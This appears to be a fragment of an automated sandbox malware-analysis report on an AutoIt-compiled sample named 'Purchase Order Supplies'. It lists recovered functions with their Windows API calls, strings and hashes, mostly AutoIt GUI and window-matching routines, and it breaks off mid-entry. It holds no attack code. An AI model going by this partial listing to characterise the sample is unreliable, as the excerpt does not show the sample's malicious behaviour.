Part of subcall function 00C949CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00C94954,00000000), ref: 00C94A23

SendMessageW.USER32 ref: 00D0E627
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00D0E63E

Strings

0, xrefs: 00D0E474

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DestroyMessageSendWindow$DeleteObject$B00200CursorInvalidateMoveRect
String ID: 0
API String ID: 3209014489-4108050209
Opcode ID: 31dd7af950d951f011b29f6a24af4b71a59ff08547a6b9c31fa7a579f6d4e79c
Instruction ID: 68b13c0c7d4833997bc531a47942ed8045e6e2469400da99915d658ddc18a213
Opcode Fuzzy Hash: 31dd7af950d951f011b29f6a24af4b71a59ff08547a6b9c31fa7a579f6d4e79c
Instruction Fuzzy Hash: 4A127230504201DFDB24CF24C988BAABBE5FF45305F584969F999DB2A2C731EC46DBA1

Function 00CFC4F9 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 447windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 00CFC598
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00CFC64E
SendMessageW.USER32(?,00001102,00000002,?), ref: 00CFC669
SendMessageW.USER32(?,000000F1,?,00000000), ref: 00CFC925

Strings

0, xrefs: 00CFC6AC

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 19d89e3a86d359554e730c6805c8ecf6eff33cae53bfc1074d788bf347b77d38
Instruction ID: 65773ca260951824af43eeaace88aa91e0d34146966afd743a7e4f9a4dface21
Opcode Fuzzy Hash: 19d89e3a86d359554e730c6805c8ecf6eff33cae53bfc1074d788bf347b77d38
Instruction Fuzzy Hash: ADF1F17120830DAFE7618F24CAC4BBABBE5FF45354F044519F6A4D22A1C774DA44EB62

Function 00CF6189 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00D2DBF0), ref: 00CF6245

Strings

SETCURRENTSELECTION, xrefs: 00CF63D2
HIDEDROPDOWN, xrefs: 00CF631C
DELSTRING, xrefs: 00CF6365
GETCURRENTCOL, xrefs: 00CF6520
CHECK, xrefs: 00CF6487
SELECTSTRING, xrefs: 00CF6422
ADDSTRING, xrefs: 00CF6332
GETLINE, xrefs: 00CF6587
SHOWDROPDOWN, xrefs: 00CF62FC
ISVISIBLE, xrefs: 00CF6251
ISCHECKED, xrefs: 00CF6455
GETSELECTED, xrefs: 00CF64BD
FINDSTRING, xrefs: 00CF6392
TABRIGHT, xrefs: 00CF62B9
GETCURRENTSELECTION, xrefs: 00CF63FF
CURRENTTAB, xrefs: 00CF62D9
GETCURRENTLINE, xrefs: 00CF6500
UNCHECK, xrefs: 00CF649D
TABLEFT, xrefs: 00CF62A3
EDITPASTE, xrefs: 00CF6557
SENDCOMMANDID, xrefs: 00CF65C6
GETLINECOUNT, xrefs: 00CF64E0
ISENABLED, xrefs: 00CF6288

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: 7c884e5d50d79720e77e2cebfea78bd7a680b3ccc987f1c26235bb7591d61a39
Instruction ID: 979eda48df9fb6aa996b7ec526f8b5ae81ab20a54fd685a124a86fae6214e91c
Opcode Fuzzy Hash: 7c884e5d50d79720e77e2cebfea78bd7a680b3ccc987f1c26235bb7591d61a39
Instruction Fuzzy Hash: 79C1913420420A8BCB44EF54C451B7E77A2AF96394F04486CF9969B3A6CB34DD4BDB83

Function 00CFD385 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00CFD3BE
SetTextColor.GDI32(?,?), ref: 00CFD3C2
GetSysColorBrush.USER32(0000000F), ref: 00CFD3D8
GetSysColor.USER32(0000000F), ref: 00CFD3E3
CreateSolidBrush.GDI32(?), ref: 00CFD3E8
GetSysColor.USER32(00000011), ref: 00CFD400
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00CFD40E
SelectObject.GDI32(?,00000000), ref: 00CFD41F
SetBkColor.GDI32(?,00000000), ref: 00CFD428
SelectObject.GDI32(?,?), ref: 00CFD435
InflateRect.USER32(?,000000FF,000000FF), ref: 00CFD454
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00CFD46B
GetWindowLongW.USER32(00000000,000000F0), ref: 00CFD480
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00CFD4A8
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00CFD4CF
InflateRect.USER32(?,000000FD,000000FD), ref: 00CFD4ED
DrawFocusRect.USER32(?,?), ref: 00CFD4F8
GetSysColor.USER32(00000011), ref: 00CFD506
SetTextColor.GDI32(?,00000000), ref: 00CFD50E
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00CFD522
SelectObject.GDI32(?,00CFD0B5), ref: 00CFD539
DeleteObject.GDI32(?), ref: 00CFD544
SelectObject.GDI32(?,?), ref: 00CFD54A
DeleteObject.GDI32(?), ref: 00CFD54F
SetTextColor.GDI32(?,?), ref: 00CFD555
SetBkColor.GDI32(?,?), ref: 00CFD55F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 87b996ec69b446aea44cf67ce2d4adaefa5129b3ba012e96f2a5ff2ad017adf2
Instruction ID: d8b8c923ba50a870e8f43b5217a95b4abfd110d27990c0cc7aeff7c3f45b838e
Opcode Fuzzy Hash: 87b996ec69b446aea44cf67ce2d4adaefa5129b3ba012e96f2a5ff2ad017adf2
Instruction Fuzzy Hash: 21512E71900218BFDF109FA4DC48EEE7B7AFB08320F108515FA15EB2A1DB759A41DB60

Function 00CFB4D4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00CFB5C0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00CFB5D1
CharNextW.USER32(0000014E), ref: 00CFB600
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00CFB641
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00CFB657
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00CFB668
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00CFB685
SetWindowTextW.USER32(?,0000014E), ref: 00CFB6D7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00CFB6ED
SendMessageW.USER32(?,00001002,00000000,?), ref: 00CFB71E
_memset.LIBCMT ref: 00CFB743
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00CFB78C
_memset.LIBCMT ref: 00CFB7EB
SendMessageW.USER32 ref: 00CFB815
SendMessageW.USER32(?,00001074,?,00000001), ref: 00CFB86D
SendMessageW.USER32(?,0000133D,?,?), ref: 00CFB91A
InvalidateRect.USER32(?,00000000,00000001), ref: 00CFB93C
GetMenuItemInfoW.USER32(?), ref: 00CFB986
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00CFB9B3
DrawMenuBar.USER32(?), ref: 00CFB9C2
SetWindowTextW.USER32(?,0000014E), ref: 00CFB9EA

Strings

0, xrefs: 00CFB95F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 10d7c0d2a5ce5916cb8e214d9a1eb62aee3a3e07eab9380ede11d921cf87e17b
Instruction ID: 8e66f08349c2d0d8c9189ec2e958311a919c8b314e5d1c45276770419cf3d78a
Opcode Fuzzy Hash: 10d7c0d2a5ce5916cb8e214d9a1eb62aee3a3e07eab9380ede11d921cf87e17b
Instruction Fuzzy Hash: B2E1697590021CAADF609F61CC84AFE7BB9FF05750F108156FA29AA290DB748E41DF62

Function 00CF744C Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00CF7587
GetDesktopWindow.USER32 ref: 00CF759C
GetWindowRect.USER32(00000000), ref: 00CF75A3
GetWindowLongW.USER32(?,000000F0), ref: 00CF7605
DestroyWindow.USER32(?), ref: 00CF7631
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00CF765A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00CF7678
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00CF769E
SendMessageW.USER32(?,00000421,?,?), ref: 00CF76B3
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00CF76C6
IsWindowVisible.USER32(?), ref: 00CF76E6
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00CF7701
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00CF7715
GetWindowRect.USER32(?,?), ref: 00CF772D
MonitorFromPoint.USER32(?,?,00000002), ref: 00CF7753
GetMonitorInfoW.USER32 ref: 00CF776D
CopyRect.USER32(?,?), ref: 00CF7784
SendMessageW.USER32(?,00000412,00000000), ref: 00CF77EF

Strings

(, xrefs: 00CF7762
tooltips_class32, xrefs: 00CF7653
0, xrefs: 00CF7532

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: af8ca66c04925baef7afeb526918bd9bc7982468f2dd2bc29791e54c98c75902
Instruction ID: f2268a046142a09eea0dca5ef56f632f9b5b7b51e0c7fb360acee57292d36c57
Opcode Fuzzy Hash: af8ca66c04925baef7afeb526918bd9bc7982468f2dd2bc29791e54c98c75902
Instruction Fuzzy Hash: 90B18171608345AFDB44DF64C948B6ABBE5FF88310F008A1DF699DB291DB70E905CB62

Function 00CAA756 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00CAA839
GetSystemMetrics.USER32(00000007), ref: 00CAA841
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00CAA86C
GetSystemMetrics.USER32(00000008), ref: 00CAA874
GetSystemMetrics.USER32(00000004), ref: 00CAA899
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00CAA8B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 00CAA8C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00CAA8F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00CAA90D
GetClientRect.USER32(00000000,000000FF), ref: 00CAA92B
GetStockObject.GDI32(00000011), ref: 00CAA947
SendMessageW.USER32(00000000,00000030,00000000), ref: 00CAA952

Part of subcall function 00CAB736: GetCursorPos.USER32(000000FF), ref: 00CAB749
Part of subcall function 00CAB736: ScreenToClient.USER32(00000000,000000FF), ref: 00CAB766
Part of subcall function 00CAB736: GetAsyncKeyState.USER32(00000001), ref: 00CAB78B
Part of subcall function 00CAB736: GetAsyncKeyState.USER32(00000002), ref: 00CAB799

SetTimer.USER32(00000000,00000000,00000028,00CAACEE), ref: 00CAA979

Strings

AutoIt v3 GUI, xrefs: 00CAA8F1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: efe678b3c7b1a9703b9c46d60189cae663f150b9c5bf3d057fcf4837ebfcf41b
Instruction ID: 46c0ecead02624c88e19478b9c0a70cdcd35dede41508f90a5ac0eab1fc839cc
Opcode Fuzzy Hash: efe678b3c7b1a9703b9c46d60189cae663f150b9c5bf3d057fcf4837ebfcf41b
Instruction Fuzzy Hash: BBB16875A0030AAFDB14DFA8DC45BEE7BB5FB09319F108229FA15E62D0DB749801DB61

Function 00CF69C5 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00CF6A52
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00CF6B12

Strings

ISSELECTED, xrefs: 00CF6B1D
DESELECT, xrefs: 00CF6BF8
SELECTCLEAR, xrefs: 00CF6B89
FINDITEM, xrefs: 00CF6C7D
GETSELECTED, xrefs: 00CF6C38
SELECTALL, xrefs: 00CF6B71
SELECT, xrefs: 00CF6BA4
SELECTINVERT, xrefs: 00CF6BDA
VIEWCHANGE, xrefs: 00CF6CC9
GETSUBITEMCOUNT, xrefs: 00CF6A9D
GETTEXT, xrefs: 00CF6ABB
GETSELECTEDCOUNT, xrefs: 00CF6AF5
GETITEMCOUNT, xrefs: 00CF6A80

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: a923969b384b1246907a9c9166f1a707bb209386f2f4c56a1e3a7d2316eb6f41
Instruction ID: e3281c98917608bdb40f13218180a20b43b5615c42366f9b660738036dc4474d
Opcode Fuzzy Hash: a923969b384b1246907a9c9166f1a707bb209386f2f4c56a1e3a7d2316eb6f41
Instruction Fuzzy Hash: B5A171302042069BCB44EF14C991B7AB3A5FF45358F14896DF9A69B3D2DB30ED06EB52

Function 00CCE69D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00CCE6E1
_wcscmp.LIBCMT ref: 00CCE6F2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00CCE71A
CharUpperBuffW.USER32(?,00000000), ref: 00CCE737
_wcscmp.LIBCMT ref: 00CCE755
_wcsstr.LIBCMT ref: 00CCE766
GetClassNameW.USER32(00000018,?,00000400), ref: 00CCE79E
_wcscmp.LIBCMT ref: 00CCE7AE
GetWindowTextW.USER32(00000002,?,00000400), ref: 00CCE7D5
GetClassNameW.USER32(00000018,?,00000400), ref: 00CCE81E
_wcscmp.LIBCMT ref: 00CCE82E
GetClassNameW.USER32(00000010,?,00000400), ref: 00CCE856
GetWindowRect.USER32(00000004,?), ref: 00CCE8BF

Strings

@, xrefs: 00CCE6BC
ThumbnailClass, xrefs: 00CCE7A9, 00CCE829

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 9ea5ce501d10636d3d9145091510ce84e9e755fd67b6bead69f45ba65a7dab35
Instruction ID: 9ab7acee7feba1b6e6007b9c98dc62233148009eecd1f49661077253c8c28942
Opcode Fuzzy Hash: 9ea5ce501d10636d3d9145091510ce84e9e755fd67b6bead69f45ba65a7dab35
Instruction Fuzzy Hash: C4819C31008309ABDB15DF14C885FAA7BE8FF45714F04846EFDA99A096DB30DE46CBA1

Function 00CCE4EA Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CCE549

Strings

REGEXP=, xrefs: 00CCE55E
LAST, xrefs: 00CCE50E
[ALL, xrefs: 00CCE5EF
CLASSNAME=, xrefs: 00CCE586
[ACTIVE, xrefs: 00CCE536
[CLASS:, xrefs: 00CCE599
[REGEXPTITLE:, xrefs: 00CCE571
ALL, xrefs: 00CCE5DD
[LAST, xrefs: 00CCE5F6
[HANDLE:, xrefs: 00CCE555
ACTIVE, xrefs: 00CCE524
HANDLE=, xrefs: 00CCE542

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: fbd04290590d8d271ab4be9dbcd742ef38f11433d0785f56a027e1dd9cef8839
Instruction ID: a7df1558f0c3a346edb95bc722234cffcb5d69177a1553eb2551bc32b746720f
Opcode Fuzzy Hash: fbd04290590d8d271ab4be9dbcd742ef38f11433d0785f56a027e1dd9cef8839
Instruction Fuzzy Hash: B6318E31944209ABDE15EB50CD93FFE73A45F21704FA00129F451710E5FF51AF08AA61

Function 00CCF898 Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00CCF8AB
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00CCF8BD
SetWindowTextW.USER32(?,?), ref: 00CCF8D4
GetDlgItem.USER32(?,000003EA), ref: 00CCF8E9
SetWindowTextW.USER32(00000000,?), ref: 00CCF8EF
GetDlgItem.USER32(?,000003E9), ref: 00CCF8FF
SetWindowTextW.USER32(00000000,?), ref: 00CCF905
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00CCF926
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00CCF940
GetWindowRect.USER32(?,?), ref: 00CCF949
SetWindowTextW.USER32(?,?), ref: 00CCF9B4
GetDesktopWindow.USER32 ref: 00CCF9BA
GetWindowRect.USER32(00000000), ref: 00CCF9C1
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00CCFA0D
GetClientRect.USER32(?,?), ref: 00CCFA1A
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00CCFA3F
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00CCFA6A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 3570558996bd479bf60ce15d6df875f291205488b6fbf738c41d04ebebafec52
Instruction ID: c5ba923ef7451b6c586ca28725183ce3b9974d48690534972ef39ed9601b5d06
Opcode Fuzzy Hash: 3570558996bd479bf60ce15d6df875f291205488b6fbf738c41d04ebebafec52
Instruction Fuzzy Hash: 5A514F70900709AFDB209FA8CD85FAEBBF6FF04704F00452DE596E26A0CB74A946CB10

Function 00CE01E4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00CE026A
_wcschr.LIBCMT ref: 00CE0278
_wcscpy.LIBCMT ref: 00CE028F
_wcscat.LIBCMT ref: 00CE029E
_wcscat.LIBCMT ref: 00CE02BC
_wcscpy.LIBCMT ref: 00CE02DD
__wsplitpath.LIBCMT ref: 00CE03BA
_wcscpy.LIBCMT ref: 00CE03DF
_wcscpy.LIBCMT ref: 00CE03F1
_wcscpy.LIBCMT ref: 00CE0406
_wcscat.LIBCMT ref: 00CE041B
_wcscat.LIBCMT ref: 00CE042D
_wcscat.LIBCMT ref: 00CE0442

Part of subcall function 00CDC890: _wcscmp.LIBCMT ref: 00CDC92A
Part of subcall function 00CDC890: __wsplitpath.LIBCMT ref: 00CDC96F
Part of subcall function 00CDC890: _wcscpy.LIBCMT ref: 00CDC982
Part of subcall function 00CDC890: _wcscat.LIBCMT ref: 00CDC995
Part of subcall function 00CDC890: __wsplitpath.LIBCMT ref: 00CDC9BA
Part of subcall function 00CDC890: _wcscat.LIBCMT ref: 00CDC9D0
Part of subcall function 00CDC890: _wcscat.LIBCMT ref: 00CDC9E3

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00CE0235

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
